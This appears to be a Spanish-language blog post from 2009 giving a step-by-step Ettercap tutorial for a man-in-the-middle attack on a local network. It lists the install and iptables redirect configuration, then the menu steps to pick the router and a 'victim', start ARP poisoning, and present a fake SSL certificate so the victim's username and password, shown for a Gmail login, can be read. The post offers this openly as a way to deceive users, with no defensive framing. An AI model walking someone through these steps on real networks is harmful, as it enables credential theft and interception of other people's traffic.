Ya lo tenemos, ahora podremos averiguar el sistema operativo remoto con esta magnífica utilidad.

lunes, enero 05, 2009

Spoofing SSL

Por fin puedo hacer lo que hasta la fecha solo sabía hacer con Caín bajo Windows. Se trata de Ettercap, ya hablé de esta herramienta en una anterior ocasión, pero esta vez la cosa va mas allá, vamos a engañar al usuario para que acepte un certificado falso y así poder sacar su nombre de usuario y su password.
Primero instalamos la aplicación:
apt-get install ettercap

Ahora configuramos Ettercap para que sea capaz de tratar con SSL, editamos el fichero /etc/etter.conf
vi /etc/etter.conf

Descomentamos la línea:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Ahora entramos en modo consola como root:
ettercap -C

Nos dirigimos al menú Sniff --> Unified Sniffing

Buscamos los Hosts de nuestra red:
Hosts -->Scan for Hosts

Listamos los Hosts encontrados:
Hosts-->Host List
Presionamos 1 para la IP del Router y 2 para la IP de la víctima.

Empezamos el envenenamiento de las tablas ARP:
MITM-->ARP Poisoning
En parameters escribimos remote

Empezamos el ataque:
Start-->Start Sniffing

En la parte inferior "User Messages" podremos ver el usuario y su correspondiente password.
Dejo una captura de un usuario imaginario accediendo a Gmail: